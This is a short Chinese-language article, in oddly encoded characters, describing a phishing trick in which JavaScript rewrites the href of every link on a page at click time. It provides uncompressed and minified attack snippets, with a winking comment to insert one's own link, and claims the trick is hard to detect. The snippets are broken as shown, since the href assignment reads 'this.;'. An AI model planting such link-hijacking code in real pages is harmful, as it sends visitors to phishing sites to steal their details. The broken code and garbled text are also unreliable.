JavaScript控制href屬性進(jìn)行釣魚
前一陣子,發(fā)現(xiàn)JavaScript中允許臨時(shí)改變<a>標(biāo)簽的href屬性,當(dāng)改變其屬性后你點(diǎn)擊它可能看不出有多嚴(yán)重,但是,它可以通過欺騙手段來誘騙用戶透露他們的詳細(xì)資料。
// Uncompressed
var links = document.getElementsByTagName('a');
for(var i=0; i < links.length; i++){
links[i].onclick = function(){
this.; // 插入鏈接(你們懂的)
};
}
// Compressed (100 characters exc. the link)
o=document.getElementsByTagName('a');for(j=0;j<o.length;j++){o[j].onclick=function(){this.;}}
當(dāng)你點(diǎn)擊鏈接,javascript代碼被執(zhí)行并改變了<a>標(biāo)簽的href屬性。令人驚訝的是,瀏覽器竟然把受害者導(dǎo)航到一個(gè)新的鏈接。而受害者通常會(huì)簡單的認(rèn)為,可能只是一個(gè)重定向鏈接,這里我們假設(shè)網(wǎng)站的訪問者已經(jīng)習(xí)慣了這種重定向現(xiàn)象,這一缺陷便可以進(jìn)行網(wǎng)絡(luò)釣魚。
這種釣魚很難能被檢測到。很多人都使用JavaScript/ jQuery框架組合來綁定<a>標(biāo)簽,每個(gè)<a>標(biāo)簽的onclick函數(shù)不是那么容易就能解除綁定的。一個(gè)技術(shù)還不錯(cuò)的黑客可以嵌入惡意的JavaScript或進(jìn)行代碼注入,因?yàn)檫@樣很容易更新JavaScript(尤其是可嵌入的)。